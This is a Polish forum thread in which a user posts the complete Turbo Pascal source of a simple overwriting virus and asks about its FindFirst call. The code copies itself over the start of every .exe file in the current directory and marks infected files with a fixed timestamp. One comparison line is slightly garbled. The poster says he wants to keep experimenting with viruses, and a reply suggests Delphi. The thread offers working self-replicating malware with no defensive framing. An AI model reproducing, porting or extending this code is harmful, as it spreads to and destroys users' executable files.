[Pascal] prosty wirus

[Civril]

Otóż mam pytanie odnosnie kodu tego prostego wirusa:

{   prosty wirus zamazujacy w turbo pascalu 7.0                    }

Program erraser;
{$I-}                               {wylacz przerwanie}
{$M 8192,0,16384}                    {pamiec}
uses DOS;                        {moduly}
const
Size = 3344;                   {rozmiar naszego wirusa}
Date = 222222;                  {data, ktora bedziemy oznaczac zainfekowane programy}
var
Buff : array[0..size]of char;      {bufor na kod}
MATKA, PLIK : FILE;               
SR : SEARCHREC;                   {rekord wyszukiwawczy}
begin
Assign(MATKA,paramstr(0));              {przypisz}
Reset(matka);                           {otworz}  
BlockRead(matka,buff,size);               {odczytaj kod}
SetFtime(matka,date);                    {ustaw jako zarazony}
CLose(matka);                           {zamknij}
FindFirst('*.exe',AnyFile,SR);          {szukaj plikow exe}
While(doserror=0) do begin              {dopoki sa}
if (SR.ATTR<>directory)and(SR.TIME<>DATE)and(SR.SIZE>  ;=SIZE)then 
{jezeli nie katalog, data inna niz 222222 oraz rozmiar wiekszy niz plik wirusa}
begin
Assign(PLIK,SR.NAME);        {przypisz znaleziony plik}
Reset(PLIK);                      {do odczytu/zapisu}
BlockWrite(PLIK,buff,size);       {zapisz kod wirusa}
SetFTime(PLIK,DATE);              {oznacz}
close(plik);                    {zamknij}
end;
FindNext(SR);          {szukamy dalej}
end;
Writeln(' --- This is a HLLP.ERRASER TEST VIRUS --- . Coded by clever ');
{tu wyswietlenie informacji, ze plik zostal zainfekowany}
end.

Link do strony z objasnieniem: http://www.haxite.or...ykul_view&id=91

Nie rozumiem linii: FindFirst('*.exe',AnyFile,SR); {szukaj plikow exe}.

Ona ma za zadanie jak pisze autor: Dalej wyszukujemy w aktualnym katalogu wszystkie pliki z rozszerzeniem *.exe Ale czy jest to czesc skladni jezyka Pascal? Nie moglem znalezc na ten temat informacji.

edit: Juz mam zle szukalem- pochodzi to zmodulu DOS, czyli na Windowsie trzeba uzyc innego modulu? I inaczej sie ta funkcje bedzie nazywac?

Jezeli tak to raczej porzuce pascala i pobawie sie wirusami w jakims nowszym jezyku.

[lukasz108min]

Polecam ci Delphi, jest to obiektowy Pascal więc nie będziesz musiał się uczyć całego języka programowania : )